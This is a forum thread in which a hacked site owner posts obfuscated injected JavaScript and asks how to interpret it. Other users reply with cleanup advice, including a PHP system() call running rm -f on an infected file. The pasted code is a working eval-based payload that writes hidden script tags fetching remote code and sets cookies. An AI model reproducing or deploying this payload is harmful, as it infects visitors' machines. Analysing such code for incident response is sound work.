Current location: Hot Scripts Forums » General Web Coding » JavaScript » my site been hacked - Interpret Javascript code


my site been hacked - Interpret Javascript code

Reply
  #1 (permalink)  
Old 03-19-10, 11:34 PM
jessicakoh jessicakoh is offline
New Member
 
Join Date: Mar 2010
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
my site been hacked - Interpret Javascript code

My sites have been hacked.

Code:
echo <script language="javascript">function t(){return z($a);}var $a="Z64zZ3dZ22Z2566unZ2563tiZ256fn Z2564w(tZ2529Z257bcaZ253dZ2527Z252564ocuZ25256deZ256etZ25252Z2565wrZ25256Z2539Z2574Z2565Z25252Z2538Z252522Z2527;cZ2565Z253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253cscZ252572ipZ252574 laZ25256egZ252575aZ2567eZ25253dZ2525Z2535cZ252522jaZ2576Z2561Z2573crZ25256Z2539ptZ25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ2525Z2535cZ25252fscZ2525Z25372Z2569pZ252574Z25253eZ2527;evZ2561Z256c(unZ2565scZ2561pZ2565(t)Z2529};Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;cbZ3dZ22dZ2573);sZ2574Z253dtmpZ253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z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25Z22;ceZ3dZ22Z2561rCoZ2564eAtZ25280)Z255e(Z25270Z25780Z2530Z2527+Z2565sZ2529)Z2529;Z257d}Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573(Z2564Z2561+Z2564bZ252bZ2564cZ252bZ2564Z2564+Z2564Z2565,Z2531Z2530)Z253bZ2564Z2577(Z2573tZ2529Z253bZ2573Z2574Z253d$Z2561Z253bZ2522;Z22;deZ3dZ22209M0;0|uddubcK8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z32Z2c7);Z65Z76aZ6c(Z75Z6eesZ63Z61Z70e(dZ7aZ2bcZ7a+oZ70+stZ29Z2bZ27dw(Z64z+Z63z($Z61+stZ29);Z27)Z3bdZ6fcumZ65Z6et.wZ72itZ65($Z61Z29Z3b}dZ6fZ63Z75mZ65Z6et.Z77Z72iteZ28Z22Z3cimg srZ63Z3dZ27httpZ3aZ2fZ2fsZ65arcZ68.twZ69tZ74Z65rZ2ecZ6fZ6dZ2fimaZ67esZ2fZ73Z65aZ72chZ2frssZ2epngZ27Z20Z77iZ64tZ68Z3d1 hZ65Z69ghZ74Z3d1Z20stZ79leZ3dZ27visibZ69liZ74y:Z68iZ64Z64enZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6cZ61nZ67uZ61Z67eZ3djZ61vasZ63rZ69ptZ22+Z22 srcZ3dZ27http:Z2fZ2fsearZ63h.tZ77iZ74Z74Z65r.cZ6fmZ2ftreZ6edsZ2fdaZ69ly.Z6asoZ6e?Z63alZ6cbZ61ckZ3dcZ61Z6clbZ61Z63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22ipZ74Z3eZ22);}eZ6cZ73eZ7b$aZ3dZ27Z27};funcZ74iZ6fn Z73c(Z63nm,Z76,eZ64)Z7bvar Z65xdZ3dnew Z44aZ74Z65(Z29;Z65xdZ2esetZ44aZ74Z65(Z65Z78dZ2eZ67Z65tDZ61Z74e()Z2bZ65d)Z3bZ64oZ63umZ65Z6et.Z63ookZ69eZ3dcnm+Z20Z27Z3dZ27 +escape(vZ29Z2bZ27;eZ78pirZ65sZ3dZ27+exdZ2eZ74Z6fZ47MTZ53Z74riZ6eg()Z3b};";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());</script>'';
Can you tell me how to interpret this code? I want to find out the culprit.

I believe it's an insider's job in my web host.

Thank you.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #2 (permalink)  
Old 03-20-10, 09:15 AM
wirehopper's Avatar
wirehopper wirehopper is offline
-
 
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
Don't try to interpret the code. You won't learn anything, you may infect your PC with malware.

It's probably not an "insider's job". Your site got hacked, and it happens everyday. A server is a resource and hackers use other people's servers for many malicious actions.

Here are some tips for cleaning up after your site/server has been hacked.

Look at the files that don’t belong - find a common pattern. Most have one.

Use grep -rl pattern * to find all the affected files. If you pipe the output to a file, you can turn it into a script that can automatically delete them. However - be careful to leave any files that are important. Those will have to be cleaned up manually.

If you run into permission issues, where the files were created by ‘nobody.nobody’ or ‘apache.apache’, you can use PHP’s system command to execute the rms - like so:

Code:

system('rm -f badfile.file');

Check your error logs and access logs, as well as your stats to find any additional files.

Avoid chmod 777 - although there are times when it is necessary. This is a hazard of administering a site through the web. An excellent alternative is to always chmod 755 after you edit those files, if possible. This won’t work for caches, template compilation directories, or file upload areas.

Don’t forget to escape the input, for both command lines and SQL statements, and validate on both the client and server side.

Be sure to identify how the hacker got in, whether it was an outdated application with security holes, SSH, your code, or some other failure. Resolve that issue.

Remember that there may be more than one symptom of the hack. My server was being used to distribute files, run a phishing scam (no page requests were processed when I found it), and links to other servers in hacked templates.

If you have a hosting company, it is good to contact them for help - especially if there is any sort of phishing or other financial scam involved.

Finally, sometimes it is better to delete a corrupted application, or reinstall it.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #3 (permalink)  
Old 03-22-10, 07:49 PM
jessicakoh jessicakoh is offline
New Member
 
Join Date: Mar 2010
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
I am on a cloud shared hosting. So, I don't have access to the ssh.

I suspect it's an insiders' job.

By interpreting the code, hopefully I can find the culprit.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #4 (permalink)  
Old 03-23-10, 06:55 AM
wirehopper's Avatar
wirehopper wirehopper is offline
-
 
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
I can almost promise it isn't an insider's job, and you won't find the culprit.

However, you really need to clean it up, as fast as possible, because you are risking every computer that visits your site, and some search engines warn people if a site is serving up malware - which means your site may lose credibility if it is not cleaned up quickly.

Sites get hacked all the time, don't worry about it.

If you have a copy of the site on your PC, just upload a new copy. If you don't - then you'll need to check all the files and clean them up.

Your hosting company may be able to help you.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #5 (permalink)  
Old 03-23-10, 09:18 AM
consc198 consc198 is offline
Newbie Coder
 
Join Date: Mar 2010
Location: Cyprus
Posts: 5
Thanks: 0
Thanked 0 Times in 0 Posts
Did you find this code in an existing page of your website?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
Reply

Bookmarks


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
display output of asp page on remote site with javascript dips Script Requests 1 03-30-09 10:29 PM
Help with javascript print code? pcinfoman JavaScript 25 06-01-07 06:36 PM
please help me turn the html code to javascript kicon JavaScript 5 12-16-04 09:54 AM
$700 - Selling A Dating Site Code In Php plpm Script Requests 0 02-04-04 06:23 PM
Validation code for site membership kNIGits The Lounge 1 07-28-03 03:41 AM


All times are GMT -5. The time now is 10:35 AM.
vBulletin® Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.